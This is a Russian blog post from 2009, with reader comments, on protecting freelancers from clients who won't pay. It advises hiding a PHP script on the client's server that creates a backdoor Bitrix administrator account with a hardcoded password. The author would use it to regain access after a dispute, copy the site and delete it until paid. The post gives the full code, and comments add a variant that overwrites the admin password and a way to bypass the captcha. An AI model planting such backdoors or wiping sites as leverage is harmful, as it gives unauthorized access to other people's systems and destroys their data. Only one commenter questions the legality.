Избегаем кидалова при работе с недобросовестными заказчиками

Наверное, многие из вас, уважаемые читатели, занимаются фрилансом. И многих из вас хоть когда-либо, возможно, кидали заказчики. Как этого избежать в плане каких-либо психологических вещей (довольно часто после первых двух минут общения можно понять, что вы объект кидалова), вы можете почитать на ресурсах, посвященных фрилансу. Я эту тему не затрагиваю, я лишь попробую немного помочь вам с технической стороны.

Первый момент

Как только вы получили доступ к проекту, в первую очередь делайте резервную копию. Это может помочь, кстати, и вам самим, если запутаетесь, чего натворили. Копия нужна будет для того, чтобы если вдруг вы не получите денег, вы всегда сможете вернуть вашему негодяю-клиенту то, что у него было, и, таким образом, он тоже ничего не получит. Если вы договорились на поэтапную оплату, делайте копию каждый раз после получения оплаты за этап.

Второй момент

На тот случай, если клиент оказался настолько козлом, что просто изменил доступы к проекту, не известив вас, а все ваши сообщения просто игнорирует, нам поможет простенький скрипт, который создает админскую учетную запись. Его нужно запрятать куда-нибудь поглубже не фтп, и вызвать в случае обмана вас заказчиком. Таким образом мы вернемся доступ к админке. После чего следует сделать резервную копию, сохранить её себе на комп, а сам сайт на хрен снести до получения оплаты :) Уверяю, клиент объявится сам :)

Писать тут, в общем-то, и нечего. Этот пост скорее для того, чтобы не забывали это сделать и подстраховаться. Тем не менее приложу код:

<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php"); 
$login = 'superuser'; // Логин
$password = 'aZi-i8ffAvD[fds'; // Пароль. Делайте со спецсимволами, цифрами и символами верхнего и нижнего регистра, а то не создастся
$groups = array(1); // ID админской группы. Скорее всего =1
$email = 'your@email.com'; // Почта. На всякий случай

$user = new CUser;
$arFields = array(
  "EMAIL"             => $email,
  "LOGIN"             => $login,
  "LID"               => "ru",
  "ACTIVE"            => "Y",
  "GROUP_ID"          => $groups,
  "PASSWORD"          => $password,
  "CONFIRM_PASSWORD"  => $password
);
$ID = $user->Add($arFields);
if(intval($ID) > 0) echo 'Админ создан';
else echo $user->LAST_ERROR;
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/footer.php");?>

P.S. Работайте с предоплатой :)

Дата: 14 ноября 2009
Теги: фриланс, резервная копия, админ
Добавить в закладки:

Комментарии (8)

ALELO, 10 Февраля 2010

Спасибо! Этот скрипт, к сожалению, действительно может пригодиться.

Бари Бетткер, 14 Марта 2010

Лучший способ защититься от таких проблем — размещать проект на тестовой площадке

Дмитрий, 28 Августа 2010

Скрипт ничего, НО если в админке будет стоять "использовать каптча при регистрации", то скрипт не добавит пользователя, поэтому предварительно надо отключить соответствующую опцию главного модуля (программно), используя мелод SetOption()

Сергей, 3 Сентября 2010

Друзья. Мне очень хочется спросить: каким скриптом защититься от недобросовестных фрилансеров? Ведь заказчики кидают реже чем исполнители: предложили денег побольше, не устраивает, что у заказчика тоже есть свое мнение или тупо кидок. А дать, извините, по роже, куда приятнее нежели снести сайт. Извините, эмоции... Сменил двух фрилансеров, бюджет не очень крупный, но компаниям не интересен, доделываю сам и каждый раз крою матом этих долбанных людей... НЕ РАБОТАЙТЕ С ПРЕДОПЛАТОЙ! Но самый лучший вариант - давайте не кидать друг друга, потому что мы (заказчики), лишимся "нормальных" цен, а вы (исполнители) лишитесь нас... Не хотел никого обидеть!

Георгий, 11 Сентября 2010

Полностью поддерживаю Сергея Слово фрилансер - уже стало не только нарицательным, но глубоко оскорбительным словом А почему? да потому, что 99% условно "программистов", называющих себя фрилансерами ни хуя не смыслят в кодах, но пальцы гнут, аж суставы скрипят не надо скрипа пальцев, а нужно чтобы скрипты тихо пахали и будет вам оплата достойная, дятлы ( в большинстве своем)

Евгений, 20 Сентября 2010

Я фрилансер и не по наслышке знаю эту проблему. С заказчиками не работаю по предоплате - интересы заказчика защищены. Делаю проекты на своей площадке. После тестирования заказчиком и оплаты, переношу на его хост. Но как защититься от того, что заказчик передумал вообще платить деньги - получается время и силы потрачены в пустую? И еще, не проше сделать так: $pass=\\\\\\\'Bitrix*123456\\\\\\\'; echo $USER->Update(1,array(\\\\\\\"PASSWORD\\\\\\\"=> $pass)); echo $USER->LAST_ERROR; Меняем пароль админа на свой и делаем что требуется, в том числе восстанавливаем систему до внесения доработок

Андрей, 18 Октября 2010

Интересно, а что Вы будете делать, если недобросовестный клиент напишет заявление в органы на Вас? Нарушение договора решается арбитражным судом, а слом сайта - уголовное, вроде как. Платите налоги и спите спокойно :-)

Кирилл, 3 Марта 2011

Ну хорошо вы снесли сайт клиенту и говорите что оплати и будет ебе счатье, а он просто берет и поднимает его из бекапа. (хостинга) после этого или сам или нанмет человека который копирует все файлы не ядро а обычне темы, и т.д. и после этого пересобиает сайт за 1 день. --> вывод работайте по предоплате или договору